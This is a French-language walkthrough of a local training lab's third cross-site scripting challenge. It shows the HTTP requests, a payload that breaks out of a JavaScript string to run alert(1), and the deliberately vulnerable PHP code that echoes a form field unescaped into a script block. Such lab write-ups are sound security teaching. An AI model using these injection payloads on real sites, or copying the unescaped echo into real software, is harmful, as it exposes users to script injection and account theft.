xss3
Exploitation
A nouveau une fonctionnalité de recherche pour ce troisième challenge, mais le mot renseigné doit être un nom d'utilisateur :

Lorsque je renseigne un nom d'utilisateur, il n'est ni réfléchi dans un message d'erreur, ni en tant que valeur du champ :
POST /xss3/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 28
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss3/
name=whatever&submit=Envoyer
Je recherche alors le nom directement dans la réponse HTTP :
HTTP/1.1 200 OK
Server: Apache/2.4.53 (Debian)
X-Powered-By: PHP/8.0.18
Content-Length: 1908
Connection: close
Content-Type: text/html; charset=UTF-8
<!DOCTYPE html>
<html>
<head>
<title>XSS 3</title>
<link rel="stylesheet" href="../static/css/bootstrap.min.css" />
</head>
<body>
...
<script>
var name="whatever";
</script>
</body>
</html>
Le nom d'utilisateur renseigné est donc présent en tant que valeur d'une variable Javascript. Je tente assez simplement de sortir de la valeur avec le "
puis d'exécuter l'affichage de la modale. Le commentaire, à la fin de ma payload, va permettre de se débarrasser des caractères superflus provenant de la concaténation effectuée dans le code whatever";alert(1);//
:
POST /xss3/ HTTP/1.1
Host: localhost:9003
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 55
Origin: http://localhost:9003
Connection: close
Referer: http://localhost:9003/xss3/
name=whatever%22%3Balert%281%29%3B%2F%2F&submit=Envoyer

Analyse du code source
Le nom d'utilisateur renseigné est récupéré dans la variable $username
. Cette variable est affichée grâce à la directive echo
directement au sein d'un bloc Javascript en tant que valeur de la variable name
:
<?php
if (isset ($_POST['submit']) && isset ($_POST['name'])) {
$username = $_POST['name'];
}
?>
<script>
<?php if (isset ($username) && !empty ($username)): echo ("var name=\"$username\";");?>
<?php endif; ?>
</script>
Dernière mise à jour